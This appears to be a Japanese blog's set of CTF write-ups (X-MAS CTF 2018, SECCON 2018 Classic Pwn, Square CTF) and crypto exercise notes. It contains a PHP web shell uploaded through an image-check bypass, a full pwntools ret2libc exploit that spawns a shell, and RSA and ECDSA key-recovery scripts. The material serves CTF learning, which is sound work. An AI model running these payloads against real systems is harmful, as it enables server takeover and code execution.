X-MAS CTF 2018 writeup

仕事終わりとかにチマチマやっていました。 cryptoを一問も解けていないので哀しみ。あとで復習します。 そこそこ復習しました。 反省会会場はこちら。

f:id:kent056-n:20181223163153p:plain

Santa The Weaver(Misc)

画像が降ってくるのでstringsコマンドを実行する。
X-MAS{S4n7a_l1k3s_h1di()g_gif7$}

Oh Christmas Tree(Forensics)

なんか降ってきた画像をstringsコマンド実行したら出力の一番下に{this_is_not_the_flag_you_are_looking_for}とか書いてあったので上の方を見てみたらフラグがでてきた。
X-MAS{0_Chr15tmas_tr33_1s_th1s_a_flag_i_wond3r}

Message from Santa(Forensics)

imgファイルが降ってくる。binwalkコマンドで中身をみてみるとpngファイルがたくさんあったので、7zコマンドで展開する。

$ binwalk classified_gift_distribution_schema.img
$ 7z l classified_gift_distribution_schema.img
$ 7z e classified_gift_distribution_schema.img

画像をつなぎ合わせてフラグを読んでおしまい。(人力)

from PIL import Image
#alphabet = ['a', 'a1', 'a2', 'a3', 'a4', 'a5','a6', 'a7', 'a9', 'a10', 'a11','b', 'c', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z']
alphabet_0 = ['a11', 'j', 'a5']
alphabet_1 = ['b', 'k', 'a3', 'q', 'l', 'e', 'w', 'a4', 'i', 'm', 'p']
alphabet_2 = ['a7', 'n', 's', 'o', 'a10', 'r', 'f']
alphabet_3 = ['h', 'v', 'c', 'a2', 'g', 'a6', 'u']
alphabet_4 = ['a', 'a1', 'a9', 't', 'x', 'y', 'z']

images0 = map(Image.open, [i+".png" for i in alphabet_0])
images0 = list(images0)
widths0, heights0 = zip(*(i.size for i in images0))
total_width0 = sum(widths0)
max_height0 = max(heights0)
new_im0 = Image.new('RGB', (total_width0, max_height0))
x_offset0 = 0
for im in images0:
    new_im0.paste(im, (x_offset0,0))
    x_offset0 += im.size[0]
new_im0.save('test0.jpg')

images1 = map(Image.open, [i+".png" for i in alphabet_1])
images1 = list(images1)
widths1, heights1 = zip(*(i.size for i in images1))
total_width1 = sum(widths1)
max_height1 = max(heights1)
new_im1 = Image.new('RGB', (total_width1, max_height1))
x_offset1 = 0
for im in images1:
    new_im1.paste(im, (x_offset1,0))
    x_offset1 += im.size[0]
new_im1.save('test1.jpg')


images2 = map(Image.open, [i+".png" for i in alphabet_2])
images2 = list(images2)
widths2, heights2 = zip(*(i.size for i in images2))
total_width2 = sum(widths2)
max_height2 = max(heights2)
new_im2 = Image.new('RGB', (total_width2, max_height2))
x_offset2 = 0
for im in images2:
    new_im2.paste(im, (x_offset2,0))
    x_offset2 += im.size[0]
new_im2.save('test2.jpg')

images3 = map(Image.open, [i+".png" for i in alphabet_3])
images3 = list(images3)
widths3, heights3 = zip(*(i.size for i in images3))
total_width3 = sum(widths3)
max_height3 = max(heights3)
new_im3 = Image.new('RGB', (total_width3, max_height3))
x_offset3 = 0
for im in images3:
    new_im3.paste(im, (x_offset3,0))
    x_offset3 += im.size[0]

new_im3.save('test3.jpg')

フラグはX-MAS{1t_l00k5_l1k3_s4nta_m4de_4_m1stak3_sorry}

Santa's Security Levels

mp3ファイルが降ってくる。再生すると最初はシャンシャンとクリスマスっぽい音楽が流れるが、途中から曲調が変わりピーピー鳴り始める。この時点でモールス信号だと予想がつくので以下のサイトで解析する。

morsecode.scphillips.com

すると、以下のgithubリポジトリに行き着く。 github.com

とりあえず書いてあるメッセージをrot13で復号する。

# printf "vF ur uNq nAlguvat pbasvqraGvNy gb fnl, ur jebgr Vg ia pvcure, gung vF, ol FB punaTvat gur beqre bs gur Yf bs gur nycuNorg, gung abg n jbeQ pbhyq or ZnQR bHg." | nkf -r
iS he hAd aNything confidenTiAl to say, he wrote It vn cipher, that iS, by SO chanGing the order of the Letters of the alphAbet, that not a worD could be MaDE oUt.

最後に大文字のみを拾ってFLAGフォーマットにしておしまい。
X-MAS{santaissogladmdeu}

GnomeArena: Rock Paper Scissors(Web)

以下問題文。

This new website is all the rage for every gnome in Lapland! How many games of Rock Paper Scissors can you win?

Server: http://199.247.6.180:12002

とりあえずサーバーにアクセスする。すると、以下のようなページが現れてジャンケンをすることができる。 f:id:kent056-n:20181223172730p:plain しばらくジャンケンをしてみても何もおこらないので、settigsのページへ行ってみる。すると、画像のアップロード機能が用意されている。 f:id:kent056-n:20181223172818p:plain 一応画像以外のファイルはアップロードできなくなっていたが、以下のように適当にファイルをつなぎ合わせてヘッダのみpngにしてやると任意のファイルをアップロードすることができる。

$ cat noimage sample.php > exploit.php

phpのファイルとしては以下のようなものを用意して、アップロードする。

<pre>
<?php
    echo system($_GET["cmd"]);
?>
</pre>

アップロード後、Nameをアップロードしたファイルと同じにすると、http://199.247.6.180:12002/avatars/exploit.phpみたいな場所からファイルを取得してくるので、そこを辿って処理を読むことができる。
あとは適当にコマンドを実行してフラグを探して終わり。

$ curl -X GET "http://199.247.6.180:12002/avatars/exploit.php?cmd=cat /var/www/html/flag.txt"

フラグはX-MAS{Ev3ry0ne_m0ve_aw4y_th3_h4ck3r_gn0m3_1s_1n_t0wn}

SECCON2018 Classic Pwn 供養

SECCON2018 Classic Pwn

当日は仮想通貨ガチャ回していて取り組めなかったし、取り組んでいてもどのみち解けなかったと思う。最近pwn欲はあまりないが、Classic Pwnくらいは一般教養として復習しておこうと思った。

Classic Pwn

まずはfileコマンドから。

$ file classic_aa9e979fd5c597526ef30c003bffee474b314e22
classic_aa9e979fd5c597526ef30c003bffee474b314e22: ELF 64-bit LSB  executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, BuildID[sha1]=a8a02d460f97f6ff0fb4711f5eb207d4a1b41ed8, not stripped

次にchecksecの結果を確認。

gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial

強い先輩が、実行ファイルが渡されたらとりあえずバッファオーバーフローさせるか、書式文字列ブチ込めって言っていたのでやってみる。

$ python -c "print('A' * 1000)" | ./classic_aa9e979fd5c597526ef30c003bffee474b314e22

バッファオーバーフローした。 pattcでパターン文字列を使ってオフセットを調べる。

gdb-peda$ pattc 100
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL'
gdb-peda$ r <<< 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL'
gdb-peda$ patto "IAAeAA4AAJAAfAA5AAKAAgAA6AAL"
IAAeAA4AAJAAfAA5AAKAAgAA6AAL found at offset: 72

RSPの値"IAAeAA4AAJAAfAA5AAKAAgAA6AAL"までのオフセットが72バイトであることがわかる。
次に攻撃に利用できそうな関数を探す。探す方法はいくつかあると思うが、以下のコマンドで割と綺麗に探せるようなので実行してみた。

$ objdump -d -M intel -j .plt --no classic_aa9e979fd5c597526ef30c003bffee474b314e22

classic_aa9e979fd5c597526ef30c003bffee474b314e22:     file format elf64-x86-64


Disassembly of section .plt:

0000000000400510 <puts@plt-0x10>:
  400510:   push   QWORD PTR [rip+0x200af2]        # 601008 <_GLOBAL_OFFSET_TABLE_+0x8>
  400516:   jmp    QWORD PTR [rip+0x200af4]        # 601010 <_GLOBAL_OFFSET_TABLE_+0x10>
  40051c:   nop    DWORD PTR [rax+0x0]

0000000000400520 <puts@plt>:
  400520:   jmp    QWORD PTR [rip+0x200af2]        # 601018 <_GLOBAL_OFFSET_TABLE_+0x18>
  400526:   push   0x0
  40052b:   jmp    400510 <_init+0x28>

0000000000400530 <setbuf@plt>:
  400530:   jmp    QWORD PTR [rip+0x200aea]        # 601020 <_GLOBAL_OFFSET_TABLE_+0x20>
  400536:   push   0x1
  40053b:   jmp    400510 <_init+0x28>

0000000000400540 <printf@plt>:
  400540:   jmp    QWORD PTR [rip+0x200ae2]        # 601028 <_GLOBAL_OFFSET_TABLE_+0x28>
  400546:   push   0x2
  40054b:   jmp    400510 <_init+0x28>

0000000000400550 <__libc_start_main@plt>:
  400550:   jmp    QWORD PTR [rip+0x200ada]        # 601030 <_GLOBAL_OFFSET_TABLE_+0x30>
  400556:   push   0x3
  40055b:   jmp    400510 <_init+0x28>

0000000000400560 <gets@plt>:
  400560:   jmp    QWORD PTR [rip+0x200ad2]        # 601038 <_GLOBAL_OFFSET_TABLE_+0x38>
  400566:   push   0x4
  40056b:   jmp    400510 <_init+0x28>

まず、pop rdi -> puts@got -> puts@plt -> mainして libc のベースアドレスをリークさせる。ついでにsystem関数のアドレスも求めておく。

payload = "A" * 72
payload += p64(popret)
payload += p64(elf.got["gets"])
payload += p64(elf.plt["puts"])
payload += p64(elf.symbols["main"]) 
... 
leak_addr = u64(conn.recv(6) + "\x00\x00")
libc_base = leak_addr - libc.symbols["gets"]
system_addr = libc_base + libc.symbols["system"]

"pop rdi; ret"gdb-pedaの中で以下のように調べることができる。

gdb-peda$ b main
Breakpoint 1 at 0x4006ad
gdb-peda$ r
gdb-peda$ ropsearch "pop rdi"
Searching for ROP gadget: 'pop rdi' in: binary ranges
0x00400753 : (b'5fc3')  pop rdi; ret

次にpop rdi->/bin/sh addrしてsystem("/bin/sh")を呼び出しておわり。

payload = "A" * 72
payload += p64(popret)
payload += p64(libc_base + next(libc.search('/bin/sh')))
payload += p64(system_addr)
payload += p64(0xdeadbeef)

最終的に以下のコードを実行してシェルを取り、幸せになったらおわり。 (コードについては こちらのブログのものがわかりやすかったので使わせていただきました。)

from pwn import *

def main():
    conn = process("./classic_aa9e979fd5c597526ef30c003bffee474b314e22")
    elf = ELF("./classic_aa9e979fd5c597526ef30c003bffee474b314e22")
    libc = ELF("./libc-2.23.so_56d992a0342a67a887b8dcaae381d2cc51205253")

    popret = 0x400753

    payload = "A" * 72
    payload += p64(popret)
    payload += p64(elf.got["gets"])
    payload += p64(elf.plt["puts"])
    payload += p64(elf.symbols["main"]) 

    conn.recvuntil(">> ")
    conn.sendline(payload)
    conn.recvuntil("Have a nice pwn!!\n")

    leak_addr = u64(conn.recv(6) + "\x00\x00")
    libc_base = leak_addr - libc.symbols["gets"]
    system_addr = libc_base + libc.symbols["system"]
    print "libc_base: " + hex(libc_base)
    print "system_addr: " + hex(system_addr)

    payload = "A" * 72
    payload += p64(popret)
    payload += p64(libc_base + next(libc.search('/bin/sh')))
    payload += p64(system_addr)
    payload += p64(0xdeadbeef)

    conn.recvuntil(">> ")
    conn.sendline(payload)
    conn.interactive()

if __name__ == "__main__":
    main()

おわり。若干消化不良なところもあるので強いパイセンに聞いて追記しようと思う。

参考

http://shift-crops.hatenablog.com/entry/2018/11/05/042149#Classic-Pwn-Exploit-121-197-solves http://ywkw1717.hatenablog.com/entry/2018/10/28/185936 http://yuta1024.hateblo.jp/entry/2018/11/01/215302 https://osanamity.net/2018/11/06/110940

squarectf2018 writeup

なかなか時間が確保できない今日この頃だが、脳死で解けそうなcrypto問があったので一応解いておいた。

C2: flipping bits

以下問題文。

Disabling C2 requires cracking a RSA message. You have two ciphertexts. The public key is (e1, n).

Fortunately (this time), space rabiation caused some bit flibs and the second ciphertext was encrypted with a faulty public key (e2, n). Can you recover the plaintexts?

ダウンロードしたjarを展開すると以下の内容のテキストファイルが出てくる。

ct1:  13981765388145083997703333682243956434148306954774120760845671024723583618341148528952063316653588928138430524040717841543528568326674293677228449651281422762216853098529425814740156575513620513245005576508982103360592761380293006244528169193632346512170599896471850340765607466109228426538780591853882736654
ct2:  79459949016924442856959059325390894723232586275925931898929445938338123216278271333902062872565058205136627757713051954083968874644581902371182266588247653857616029881453100387797111559677392017415298580136496204898016797180386402171968931958365160589774450964944023720256848731202333789801071962338635072065
e1:  13
e2:  15
modulus:  103109065902334620226101162008793963504256027939117020091876799039690801944735604259018655534860183205031069083254290258577291605287053538752280231959857465853228851714786887294961873006234153079187216285516823832102424110934062954272346111907571393964363630079343598511602013316604641904852018969178919051627

You have two captured ciphertexts. The public key is (e1, n). But,
due to a transient bit flip, the second ciphertext was encrypted with a faulty
public key: (e2, n). Recover the plaintexts.

(The algorithm is RSA.)

bit flipとか書いてあってめんどくさそうな気がめちゃくちゃしたが、とりあえずRSA問ということで、いつもどおり使える攻撃が何かないか探してみる。 elliptic-shiho.hatenablog.com 今回はm(平文)nが共通でeが異なるc(暗号文)の組みがあるので、Common Modulus Attackが利用できそう。
適当にコードを書く。(勢い余ってpython2で書いてしまった)

import sys
import gmpy
import binascii

def common_modulus_attack(c1, c2, e1, e2, n):
    gcd, s1, s2 = gmpy.gcdext(e1, e2)
    if s1 < 0:
        s1 = -s1
        c1 = gmpy.invert(c1, n)
    elif s2 < 0:
        s2 = -s2
        c2 = gmpy.invert(c2, n)
    v = pow(c1, s1, n)
    w = pow(c2, s2, n)
    m = (v * w) % n
    return m


if __name__ == '__main__':
    n = 103109065902334620226101162008793963504256027939117020091876799039690801944735604259018655534860183205031069083254290258577291605287053538752280231959857465853228851714786887294961873006234153079187216285516823832102424110934062954272346111907571393964363630079343598511602013316604641904852018969178919051627

    e1 = 13
    e2 = 15

    c1 = 13981765388145083997703333682243956434148306954774120760845671024723583618341148528952063316653588928138430524040717841543528568326674293677228449651281422762216853098529425814740156575513620513245005576508982103360592761380293006244528169193632346512170599896471850340765607466109228426538780591853882736654

    c2 = 79459949016924442856959059325390894723232586275925931898929445938338123216278271333902062872565058205136627757713051954083968874644581902371182266588247653857616029881453100387797111559677392017415298580136496204898016797180386402171968931958365160589774450964944023720256848731202333789801071962338635072065

    print binascii.unhexlify(hex(common_modulus_attack(c1, c2, e1, e2, n))[2:])

解けた。FLAGはflag-54d3db5c1efcd7afa579c37bcb560ae0

所感

スコアリングの方式は謎だったが、問題の難易度的にはクソ雑魚の自分でも楽しめるくらいだったようだ。(そろそろ難しい問題にも挑戦していけ!?)
来年もできれば参加したい。

requestbinを復活させる話

requestbin復活を復活させる

requestbinがいつか忘れたけどサービス終了してしてまって悲しいので復活方法を自分用メモとして残しておく。 github.com

Digitalocean設定手順(任意)

[Create]ボタンからテキトーにDropletをcreateしていく。スペックはテキトーに選択し、OSはテキトーにCentOS7系を選んどけば動く。
すでに登録したSSH Keyがあれがそれを選択するのも忘れずに。鍵を設定しておけば以下のようにsshできる。(どのユーザー名でログインできるのか大体わすれる)

$ ssh -i [秘密鍵] root@[IPアドレス]

必要に応じでDNSの設定も変更しておく。[Networking]から設定したいDomainを選択し、Aレコードを今回立ち上げたDropletのipアドレスに変更しておく。
(そもそものDigitalOceanでDNS周りを設定する方法はこちらを参考にしていただければ幸いです。

requestbinの復活

requetbinを起動していく。とりあえず各コマンドを雑に実行していく。(怒られそう)

$ sudo yum install git
$ sudo yum install docker-ce
$ sudo systemctl start docker
$ git clone https://github.com/Runscope/requestbin.git
$ curl -L https://github.com/docker/compose/releases/download/1.12.0/docker-compose-`uname -s`-`uname -m` > docker-compose
$ sudo chmod +x  docker-compose
$ cd requestbin/
$ sudo ../docker-compose build
$ sudo ../docker-compose up -d

docker周りで上手く行かなかったらテキトーにココを見て設定する。最後に[IPアドレス]:8000にアクセスできればおわり。

参考

id0-rsa.pubのメモ【ECDSA Nonce Recovery】

ECDSA Nonce Recovery

same k attackの話。以下問題文。

As part of signing something using DSA (digital signature algorithm) one must select a secret, cryptographically secure random number k to be used as a nonce. k must never be reused. Why you ask? Well you could ask Sony, or I could just tell you that you can recover k given two signature / message pairs that used the same k and signing key, which can lead to the signing key being compromised. I've signed two messages (z1,z2) with the same k (using the NIST curve P-192), resulting in the signatures (s1,r1) and (s2,r2). Your job is to recover k

(submit your answer in hex). Some reading to get started (of most relevance is section 2.3).

z1 = 78963682628359021178354263774457319969002651313568557216154777320971976772376
s1 = 5416854926380100427833180746305766840425542218870878667299
r1 = 5568285309948811794296918647045908208072077338037998537885

z2 = 62159883521253885305257821420764054581335542629545274203255594975380151338879
s2 = 1063435989394679868923901244364688588218477569545628548100
r2 = 5568285309948811794296918647045908208072077338037998537885

n = 6277101735386680763835789423176059013767194773182842284081

same k attackとは、ECDSA、DSA、ElGamal署名あたりの署名アルゴリズムで、二つの別々のメッセージに同じ乱数kで署名を行った場合、kを復元可能という攻撃手法?のこと。割とCTFでは頻出っぽい。(SECCON Beginners2018やVolga CTF 2017でも同様の問題が出題されていた)
とりあえず過去のsolverにブチ込む。以下のような感じで解いてみた。

z1 = 78963682628359021178354263774457319969002651313568557216154777320971976772376
s1 = 5416854926380100427833180746305766840425542218870878667299
r1 = 5568285309948811794296918647045908208072077338037998537885
z2 = 62159883521253885305257821420764054581335542629545274203255594975380151338879
s2 = 1063435989394679868923901244364688588218477569545628548100
r2 = 5568285309948811794296918647045908208072077338037998537885
n = 6277101735386680763835789423176059013767194773182842284081

def inv(x):
  return pow(x, n-2, n)

k = (z1-z2)*inv(s1-s2) % n
print(hex(k))

最初全然Acceptにならなくて困っていたけど、どうやらnを法として計算しないとダメらしい。(ここで初めてnの利用用途に気づく...)
なぜ上記の方程式で復元できるのかはあまりわかっていないので時間があるときにまた調べたい。あと、以前PS3でこの攻撃手法が使えたっぽいことに驚いた。(cryptoも物によっては意外と身近なんだなあ)

参考

id0-rsa.pubのメモ【Intro to PGP】

Intro to PGP

gpgコマンドの使い方の話。
基本的には書かれている内容に沿ってすすめるだけだが、一部不明な点があったので以下の記事も参考に進めた。 qiita.com まず鍵サーバーpgp.mit.eduでid0rsa.pub.gmailを検索するとkeyIDがA81B09D4だとわかる。

鍵サーバーから公開鍵を受信する。

$ gpg --keyserver pgp.mit.edu --recv-keys A81B09D

あとはmessage.ascとして保存したメッセージを確認して終了。

$ gpg -o out.txt -d message.asc
$ cat out.txt
Thank you Phil Zimmermann!

参考

https://qiita.com/spiegel-im-spiegel/items/079d69282166281eb946

id0-rsa.pubのメモ【Hello OpenSSL】

Hello OpenSSL

opensslコマンドの使い方の話。以下問題文。

This is an RSA key

-----BEGIN RSA PRIVATE KEY-----
MIGtAgEAAiEA5tygpSZdOZUMfuO3oTGWR4cALBtWui5UzrQw2/8JlZ0CAwEAAQIh
AI9n4Yp1KFfKlHaF8d15tgUONQXn+e3aI+beFKoi2XipAhEA/ZkHPmcDwXIqloGr
minb1wIRAOkMdv7emMGd08gwwOQ6i6sCEQC0pjcXx9BQFCCsWDDCwAC/AhEAxYcn
JQeO+izH4JpSJB/rWQIRAOO9m6JHEWgzLYD+fe003vw=
-----END RSA PRIVATE KEY-----

It was generated with the command $ openssl genrsa 256. A secret 64 bit number was encrypted with this key, resulting in this cipher text
6794893f3c47247262e95fbed846e1a623fc67b1dd96e13c7f9fc3b880642e42
Recover the secret number (in lowercase hex).

opensslコマンド

opensslコマンドの書式について以下にまとめる。[ ]内は省略可能。

openssl [サブコマンド] [オプション]

主なサブコマンド

サブコマンド 説明
ca 認証局の証明書を管理
crl CRLを管理
dgst メッセージダイジェストを計算
genrsa RSA秘密鍵を生成
md5 MD5ダイジェスト
pkcs12 PKCS#12形式のファイルの作成と管理
req X.509証明書署名要求(CSR)を管理
rsa RSA秘密鍵を管理
rsautl RSAアルゴリズムを使用したメッセージの署名、検証、暗号化および復号
s_client SSL/TLSプロトコルを使用して指定サーバに接続
s_server SSL/TLSプロトコルを使用してメッセージを受信するサーバーとして動作
version OpenSSLのバージョン情報を表示
x509 X.509証明書データを管理

公開鍵と秘密鍵の生成

opensslでは、秘密鍵と公開鍵の作成や、それらを利用した暗号化と復号が可能。
サブコマンドとして、genrsa、rsa、rsautlを利用する。

genrsa

genrsaはRSA秘密鍵を生成するサブコマンド。

openssl genrsa [オプション]

主なオプション

オプション 説明
-out <ファイル名> 生成したRSA形式の秘密鍵を出力するファイル名を指定。指定がない場合は標準出力に表示
-des 暗号化にDESを使用
-des3 暗号化にTripleDESを使用
-idea 暗号化にIDEAを使用
ビット数 生成するRSA形式の秘密鍵のビット数。指定がない場合は512ビット

rsa

rsaRSAの鍵を管理するサブコマンド。

openssl rsa [オプション]

主なオプション

オプション 説明
-in <ファイル名> 生成したRSA形式の秘密鍵のファイル名を指定。指定がない場合は標準入力から読み込む
-noout エンコードされた鍵を表示しない
-out <ファイル名> RSA形式の秘密鍵を出力するファイル名を指定。指定がない場合は標準出力に表示
-pubin <ファイル名> 生成したRSA形式の公開鍵ファイル名を指定。指定がない場合は標準入力から読み込む
-pubout 秘密鍵とペアとなる公開鍵を標準出力
-text テキスト形式で表示
-des 暗号化にDESを使用
-des3 暗号化にTripleDESを使用
-idea 暗号化にIDEAを使用

rsautl

rsautlはRSAによるメッセージの署名、検証、暗号化、復号を行うサブコマンド。

openssl rsautl [オプション]

主なオプション

オプション 説明
-decrypt ファイルの復号を行う
-encrypt ファイルの暗号化を行う
-in <ファイル名> 暗号化もしくは復号対象のファイル名を指定
-inkey <ファイル名> 秘密鍵とペアとなる公開鍵を標準出力
-out <ファイル名> 暗号化もしくは復号したファイルの内容を出力するファイル名を指定。指定がない場合は標準出力に表示
-pubin 公開鍵ファイルを入力する場合に指定

solution

長々とopensslのコマンド、オプションを書いたが、今回は与えられた秘密鍵をprivate.keyとして保存して以下のコマンドを実行すればOK。

printf "6794893f3c47247262e95fbed846e1a623fc67b1dd96e13c7f9fc3b880642e42" | xxd -r -p | openssl rsautl -inkey private.key -raw -decrypt | xxd -p -c 8 | tail -n 1

おわりに

気が向いたら証明書周りのサブコマンドも書く。

参考

2年前くらいにLPIC Level3 303 を取得したときに使っていた以下の本を参考に書きました。 https://www.amazon.co.jp/%E5%BE%B9%E5%BA%95%E6%94%BB%E7%95%A5LPIC-Level3-303%E6%95%99%E7%A7%91%E6%9B%B8-%E5%95%8F%E9%A1%8C%E9%9B%86-Version/dp/4295000515/ref=pd_lpo_sbs_14_t_2?_encoding=UTF8&psc=1&refRID=PHRQ15D99HZ76TZ22E18www.amazon.co.jp